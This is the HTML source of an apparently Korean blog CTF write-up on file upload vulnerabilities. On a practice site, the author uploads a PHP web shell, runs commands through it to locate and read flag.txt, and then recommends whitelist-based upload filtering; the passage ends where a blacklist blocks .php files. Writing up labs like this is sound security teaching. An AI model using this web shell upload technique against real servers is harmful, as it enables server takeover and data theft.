&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 업로드 취약점을 이용하여 flag.txt 파일을 찾아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;역시 실습 사이트에서 진행하는데 먼저 test123 이라는&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;계정을 생성 했습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQZJ48/dJMcajnomFi/QFeFqkTLIwiNi3t1F1TAj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQZJ48/dJMcajnomFi/QFeFqkTLIwiNi3t1F1TAj0/img.png&quot; data-origin-width=&quot;1657&quot; data-origin-height=&quot;1386&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.0111%; margin-right: 10px;&quot; data-widthpercent=&quot;50.6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQZJ48/dJMcajnomFi/QFeFqkTLIwiNi3t1F1TAj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQZJ48%2FdJMcajnomFi%2FQFeFqkTLIwiNi3t1F1TAj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1657&quot; height=&quot;1386&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3ek5M/dJMb996cBGi/gpxk1PlsSjnzKQZiGPz9ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3ek5M/dJMb996cBGi/gpxk1PlsSjnzKQZiGPz9ZK/img.png&quot; data-origin-width=&quot;1096&quot; data-origin-height=&quot;939&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.8261%;&quot; data-widthpercent=&quot;49.4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3ek5M/dJMb996cBGi/gpxk1PlsSjnzKQZiGPz9ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3ek5M%2FdJMb996cBGi%2Fgpxk1PlsSjnzKQZiGPz9ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1096&quot; height=&quot;939&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 정상적인 파일 test.php 올려보았습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;업로드한 경로를 찾아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1768579662514&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;index.php?page=download&amp;amp;filePath=/var/www/html/uploads/243_test.php&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;여기서 중요한 것은 /var/www/html&lt;span style=&quot;color: #ee2323;&quot;&gt;/uploads/243_test.php&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 부분인데&lt;span&gt; 웹 경로에 저장이 되어있는 모습입니다. &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1358&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6PY8L/dJMcadtWCGq/qk3wGWhqHIzlhqW92rL9w1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6PY8L/dJMcadtWCGq/qk3wGWhqHIzlhqW92rL9w1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6PY8L/dJMcadtWCGq/qk3wGWhqHIzlhqW92rL9w1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6PY8L%2FdJMcadtWCGq%2Fqk3wGWhqHIzlhqW92rL9w1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1358&quot; height=&quot;313&quot; data-origin-width=&quot;1358&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;다음은&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;burp suite /&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;uploads/243_test.php &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;적용한 결과 잘 적용되는 모습입니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 test123.php(web shell) 적용해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VQQW3/dJMcahpDGLb/HC8f3tkfWXbwVwLHSnzQP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VQQW3/dJMcahpDGLb/HC8f3tkfWXbwVwLHSnzQP1/img.png&quot; data-origin-width=&quot;1582&quot; data-origin-height=&quot;1251&quot; data-is-animation=&quot;false&quot; style=&quot;width: 18.8409%; margin-right: 10px;&quot; data-widthpercent=&quot;19.06&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VQQW3/dJMcahpDGLb/HC8f3tkfWXbwVwLHSnzQP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVQQW3%2FdJMcahpDGLb%2FHC8f3tkfWXbwVwLHSnzQP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1582&quot; height=&quot;1251&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nWXLT/dJMcaiWk8I1/MKszwC9jhKPC1MJskLCpz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nWXLT/dJMcaiWk8I1/MKszwC9jhKPC1MJskLCpz0/img.png&quot; data-origin-width=&quot;1643&quot; data-origin-height=&quot;306&quot; data-is-animation=&quot;false&quot; style=&quot;width: 79.9963%;&quot; data-widthpercent=&quot;80.94&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nWXLT/dJMcaiWk8I1/MKszwC9jhKPC1MJskLCpz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnWXLT%2FdJMcaiWk8I1%2FMKszwC9jhKPC1MJskLCpz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1643&quot; height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test123.php(web shell) 적용한 결과 cmd 명령어까지 사용할 수 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;이제 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag.txt 파일을 찾아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1947&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdes6G/dJMb996cCau/dDkuXFGYRqlnSWVG0xfmV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdes6G/dJMb996cCau/dDkuXFGYRqlnSWVG0xfmV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdes6G/dJMb996cCau/dDkuXFGYRqlnSWVG0xfmV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdes6G%2FdJMb996cCau%2FdDkuXFGYRqlnSWVG0xfmV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1947&quot; height=&quot;199&quot; data-origin-width=&quot;1947&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;211&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by4qaZ/dJMcaaYlrfD/qaaguQAoNqOSmCHLamaGFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by4qaZ/dJMcaaYlrfD/qaaguQAoNqOSmCHLamaGFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by4qaZ/dJMcaaYlrfD/qaaguQAoNqOSmCHLamaGFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby4qaZ%2FdJMcaaYlrfD%2FqaaguQAoNqOSmCHLamaGFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;211&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;211&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;find 및 cat 명령어를 이용하여 flag를 찾았습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Web Shell 1의 문제점은 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;업로드 되는 파일을 검증하지 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;않았기 때문에 발생되는 원인 이었습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;업로드 되는 파일을 검증해야 공격자가 web shell &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;통한 서버 장악과 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;데이터 탈취를 막을 수 있습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대응방안에는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;블랙 리스트과 화이트 리스트 기반의 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;필터링이 있습니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;추천은 화이트 리스트 기반의 필터링이며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; 이유는 이 후 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CTF 문제에서 설명하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CTF 2번부터는 블랙리스트 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;기반의 필터링을 했을때 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;나오는 취약점 입니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;어떤 문제로 인해 취약점이 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;생기는지 알아보겠습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;CTF &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Web Shell 2&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVndgx/dJMcaaYlrf9/o8vWh7eh5OztQmazXtm51K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVndgx/dJMcaaYlrf9/o8vWh7eh5OztQmazXtm51K/img.png&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;613&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.9927%; margin-right: 10px;&quot; data-widthpercent=&quot;54.63&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVndgx/dJMcaaYlrf9/o8vWh7eh5OztQmazXtm51K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVndgx%2FdJMcaaYlrf9%2Fo8vWh7eh5OztQmazXtm51K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;613&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/drByMw/dJMcadHuP1W/1KFalwD2mplgc7Tk5FGIbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/drByMw/dJMcadHuP1W/1KFalwD2mplgc7Tk5FGIbk/img.png&quot; data-origin-width=&quot;1611&quot; data-origin-height=&quot;1189&quot; data-is-animation=&quot;false&quot; style=&quot;width: 44.8445%;&quot; data-widthpercent=&quot;45.37&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/drByMw/dJMcadHuP1W/1KFalwD2mplgc7Tk5FGIbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdrByMw%2FdJMcadHuP1W%2F1KFalwD2mplgc7Tk5FGIbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1611&quot; height=&quot;1189&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;블랙리스트 기반 필터링 문제이며&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 업로드 취약점을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이용하여 flag.tx&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;t &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일을 찾아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 test123 이라는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;계정을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;생성하여 로그인 하였습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6VRAn/dJMcahiRWd5/snY2dbzLnODZY4lu8SoFYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6VRAn/dJMcahiRWd5/snY2dbzLnODZY4lu8SoFYk/img.png&quot; data-origin-width=&quot;1528&quot; data-origin-height=&quot;1293&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.6036%; margin-right: 10px;&quot; data-widthpercent=&quot;50.19&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6VRAn/dJMcahiRWd5/snY2dbzLnODZY4lu8SoFYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6VRAn%2FdJMcahiRWd5%2FsnY2dbzLnODZY4lu8SoFYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1528&quot; height=&quot;1293&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I4YPP/dJMcai271az/JXKKZBig0aTM1xukswzqy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I4YPP/dJMcai271az/JXKKZBig0aTM1xukswzqy1/img.png&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;1330&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.81&quot; data-filename=&quot;blob&quot; style=&quot;width: 49.2336%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I4YPP/dJMcai271az/JXKKZBig0aTM1xukswzqy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI4YPP%2FdJMcai271az%2FJXKKZBig0aTM1xukswzqy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1560&quot; height=&quot;1330&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;파일 업로드 취약점을 확인하기 위해 php 파일을 올려봤습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;하지만 &lt;span style=&quot;color: #ee2323;&quot;&gt;허용되지 않는 확장자&lt;/span&gt;라고 합니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;대응방안 중 하나인 확장자를 검증하는 것 인데...&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;php 확장자 검증을 진행하여 등록을 못하게 됩니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1523&quot; data-origin-height=&quot;1254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/otg2W/dJMcajnon6m/FWshZSQ06Xh8KfIDAH5t5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/otg2W/dJMcajnon6m/FWshZSQ06Xh8KfIDAH5t5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/otg2W/dJMcajnon6m/FWshZSQ06Xh8KfIDAH5t5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fotg2W%2FdJMcajnon6m%2FFWshZSQ06Xh8KfIDAH5t5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1523&quot; height=&quot;1254&quot; data-origin-width=&quot;1523&quot; data-origin-height=&quot;1254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
